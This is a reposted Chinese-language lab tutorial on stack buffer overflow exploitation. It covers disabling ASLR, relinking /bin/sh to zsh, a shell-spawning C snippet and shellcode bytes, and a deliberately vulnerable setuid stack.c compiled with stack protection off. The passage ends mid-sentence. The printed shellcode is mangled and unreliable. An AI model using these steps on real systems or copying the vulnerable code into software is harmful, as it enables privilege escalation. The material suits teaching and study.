本文詳細出自http://www.shiyanlou.com/courses/231,轉載請注明出處。
緩沖區溢出是指程序試圖向緩沖區寫入超越預分配固定長度數據的情況。這1漏洞可以被歹意用戶利用來改變程序的流控制,乃至履行代碼的任意片斷。這1漏洞的出現是由于數據緩沖器和返回地址的暫時關閉,溢出會引發返回地址被重寫。
系統用戶名shiyanlou,密碼shiyanlou
實驗樓提供的是64位Ubuntu linux,而本次實驗為了方便視察匯編語句,我們需要在32位環境下作操作,因此實驗之前需要做1些準備。
1、輸入命令安裝1些用于編譯32位C程序的東西:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2、輸入命令“linux32”進入32位linux環境。此時你會發現,命令行用起來沒那末爽了,比如不能tab補全了,所以輸入“/bin/bash”使用bash:
Ubuntu和其他1些Linux系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜想準確的內存地址變得10分困難,而猜想內存地址是緩沖區溢出攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這1功能:
sudo sysctl -w kernel.randomize_va_space=0
另外,為了進1步防范緩沖區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。因此,即便你能欺騙1個Set-UID程序調用1個shell,也不能在這個shell中保持root權限,這個防護措施在/bin/bash中實現。
linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的1個符號鏈接。為了重現這1防護措施被實現之前的情形,我們使用另外一個shell程序(zsh)代替/bin/bash。下面的指令描寫了如何設置zsh程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
1般情況下,緩沖區溢出會造成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另外一個地址,那末程序就會跳轉到該地址,如果該地址寄存的是1段精心設計的代碼用于實現其他功能,這段代碼就是shellcode。
視察以下代碼:
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次實驗的shellcode,就是剛才代碼的匯編版本:
x31xc0x50x68"http://sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
把以下代碼保存為“stack.c”文件,保存到 /tmp 目錄下。代碼以下:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
通過代碼可以知道,程序會讀取1個名為“badfile”的文件,并將文件內容裝入“buffer”。
編譯該程序,并設置SET-UID。命令以下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC編譯器有1種棧保護機制來禁止緩沖區溢出,所以我們在編譯代碼時需要用
上一篇 下一波浪潮物聯網什么時候才能到來
下一篇 Mybatis入門